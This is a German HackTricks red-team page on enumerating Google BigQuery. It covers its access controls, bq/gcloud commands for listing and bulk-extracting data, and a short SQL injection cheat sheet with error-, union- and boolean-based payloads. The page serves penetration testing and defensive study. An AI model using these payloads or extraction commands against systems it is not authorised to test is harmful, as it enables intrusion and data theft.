GCP - Bigquery Enum

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Google Cloud BigQuery ist ein vollständig verwaltetes, serverloses Enterprise-Datenlager, das Funktionen für die Analyse von Petabytes an Daten bietet und somit große Datensätze effizient verarbeitet. Als Platform as a Service (PaaS) bietet es Benutzern Infrastruktur und Tools zur Vereinfachung des Datenmanagements ohne manuelle Überwachung.

Es unterstützt Abfragen mit ANSI SQL. Die Hauptobjekte sind Datensätze, die Tabellen enthalten, die SQL-Daten enthalten.

Verschlüsselung

Standardmäßig wird ein von Google verwalteter Verschlüsselungsschlüssel verwendet, obwohl es möglich ist, einen kundenverwalteten Verschlüsselungsschlüssel (CMEK) zu konfigurieren. Es ist möglich, den Verschlüsselungsschlüssel pro Datensatz und pro Tabelle innerhalb eines Datensatzes anzugeben.

Ablauf

Es ist möglich, eine Ablaufzeit im Datensatz anzugeben, sodass jede neue Tabelle, die in diesem Datensatz erstellt wird, automatisch gelöscht wird, die angegebene Anzahl von Tagen nach der Erstellung.

Externe Quellen

BigQuery ist tief in andere Google-Dienste integriert. Es ist möglich, Daten aus Buckets, Pub/Sub, Google Drive, RDS-Datenbanken usw. zu laden.

Datensatz-ACLs

Wenn ein Datensatz erstellt wird, werden ACLs angehängt, um den Zugriff darauf zu gewähren. Standardmäßig werden Besitzer-Berechtigungen über den Benutzer, der den Datensatz erstellt hat, vergeben, und dann Besitzer an die Gruppe projectOwners (Besitzer des Projekts), Schreiber an die Gruppe projectWriters und Leser an die Gruppe projectReaders:

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Steuern des Zugriffs auf Tabellenzeilen

Es ist möglich, die Zeilen zu steuern, auf die ein Prinzipal in einer Tabelle zugreifen kann, mithilfe von Zeilenzugriffsrichtlinien. Diese werden innerhalb der Tabelle mithilfe von DDL definiert. Die Zugriffsrichtlinie definiert einen Filter, und nur die übereinstimmenden Zeilen mit diesem Filter sind von den angegebenen Prinzipalen aus zugänglich.

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

Spaltenzugriffskontrolle

Um den Datenzugriff auf Spaltenebene einzuschränken:

  1. Definieren Sie eine Taxonomie und Richtlinientags. Erstellen und verwalten Sie eine Taxonomie und Richtlinientags für Ihre Daten. https://console.cloud.google.com/bigquery/policy-tags

  2. Optional: Weisen Sie einem oder mehreren Prinzipalen die Rolle Data Catalog Fine-Grained Reader für einen oder mehrere der von Ihnen erstellten Richtlinientags zu.

  3. Weisen Sie Richtlinientags Ihren BigQuery-Spalten zu. Verwenden Sie in BigQuery Schemaannotationen, um einem Richtlinientag jede Spalte zuzuweisen, für die Sie den Zugriff einschränken möchten.

  4. Erzwingen Sie den Zugriff auf die Taxonomie. Das Erzwingen des Zugriffs bewirkt, dass die für alle Richtlinientags in der Taxonomie definierten Zugriffsbeschränkungen angewendet werden.

  5. Verwalten Sie den Zugriff auf die Richtlinientags. Verwenden Sie Identity and Access Management (IAM)-Richtlinien, um den Zugriff auf jeden Richtlinientag einzuschränken. Die Richtlinie gilt für jede Spalte, die dem Richtlinientag zugeordnet ist.

Wenn ein Benutzer versucht, auf Spaltendaten zur Abfragezeit zuzugreifen, überprüft BigQuery den Spaltenrichtlinientag und seine Richtlinie, um festzustellen, ob der Benutzer berechtigt ist, auf die Daten zuzugreifen.

Zusammenfassend können Sie den Zugriff auf bestimmte Spalten für bestimmte Benutzer einschränken, indem Sie einen Tag zur Spalte im Schema hinzufügen und den Zugriff der Benutzer auf den Tag einschränken, indem Sie den Zugriff auf die Taxonomie des Tags erzwingen.

Um den Zugriff auf die Taxonomie zu erzwingen, muss der Dienst aktiviert werden:

gcloud services enable bigquerydatapolicy.googleapis.com

Es ist möglich, die Tags von Spalten mit anzusehen:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

Auflistung

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Misc
bq show --encryption_service_account # Get encryption service account

BigQuery SQL Injection

Für weitere Informationen können Sie den Blog-Beitrag überprüfen: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Hier werden nur einige Details gegeben.

Kommentare:

  • select 1#from here it is not working

  • select 1/*between those it is not working*/ Aber nur der erste funktioniert nicht

  • select 1--from here it is not working

Erhalten Sie Informationen über die Umgebung wie:

  • Aktueller Benutzer: select session_user()

  • Projekt-ID: select @@project_id

Erhalten Sie Datensätze, Tabellen und Spalten-Namen:

  • Projekt und Datensatz-Name:

SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • Spalten und Tabellen Namen:

# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM digital-bonfire-410512.importeddataset.INFORMATION_SCHEMA.COLUMNS
  • Andere Datensätze im selben Projekt:

SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM digital-bonfire-410512.INFORMATION_SCHEMA.SCHEMATA

SQL Injection Typen:

  • Fehlerbasiert - Casting: select CAST(@@project_id AS INT64)

  • Fehlerbasiert - Division durch Null: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '

  • Union-basiert: UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

  • Boolean-basiert: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

  • Potenziell zeitbasiert - Verwendung von öffentlichen Datensätzen als Beispiel: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Dokumentation:

Privilege Escalation & Post Exploitation

pageGCP - BigQuery Privesc

Persistenz

pageGCP - BigQuery Persistence

Referenzen

Lernen Sie AWS-Hacking von Null auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated